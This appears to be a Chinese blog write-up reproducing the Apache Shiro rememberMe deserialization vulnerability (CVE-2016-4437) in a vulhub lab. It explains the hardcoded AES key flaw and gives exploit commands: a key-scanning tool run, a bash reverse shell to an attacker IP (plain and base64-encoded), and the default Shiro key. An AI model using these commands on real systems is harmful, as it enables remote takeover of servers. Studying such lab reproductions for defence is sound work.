Shiro反序列化漏洞复现(CVE-2016-4437)

Shiro反序列化漏洞复现(CVE-2016-4437)

漏洞原理

shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序可以推断出解密的顺序为获取cookie-base64解码-AES解密-反序列化。

AES加密的KEY值被硬编码在代码中,可以从源码中找到KEY值。攻击者可以构造恶意代码,将其序列化-AES加密-base64编码,最后作为cookie值得rememberMe字段发送,shiro将接收到的rememberMe字段进行解码-解密-反序列化,如果成功,则执行恶意代码,构成攻击。

参考:

https://www.cnblogs.com/peace-and-romance/p/15669560.html

影响版本

Apache Shiro <= 1.2.4

漏洞复现

环境:
docker下vulhub靶场

  1. 访问靶场
    在这里插入图片描述
  2. 看到remember me ,尝试登录,抓包。看到返回包里面有rememberMe=deleteMe字段,确定是该漏洞。
    在这里插入图片描述
  3. 用Shiro_exploit扫描,找到AES加密的key
python shiro_exploit.py -u http://192.168.2.163:8080

在这里插入图片描述
vulnerable为True 就证明存在反序列化漏洞

  1. 漏洞利用反弹shell
    构造反弹shell代码
    将下面代码base 64加密
bash -i >& /dev/tcp/192.168.2.160/5555 0>&1

构造到下面的语句中

bash -i >& /dev/tcp/192.168.2.160/5555 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTYwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i} 

使用shiro_exploit.py进行利用

python shiro_exploit.py -t 3 -u http://192.168.2.137:8080 -p "bash加密命令" -k “密钥”

python shiro_exploit.py -t 3 -u http://192.168.2.137:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTYwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i} " -k "kPH+bIxk5D2deZiIxcaaaA=="

在这里插入图片描述
在这里插入图片描述
复现成功!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值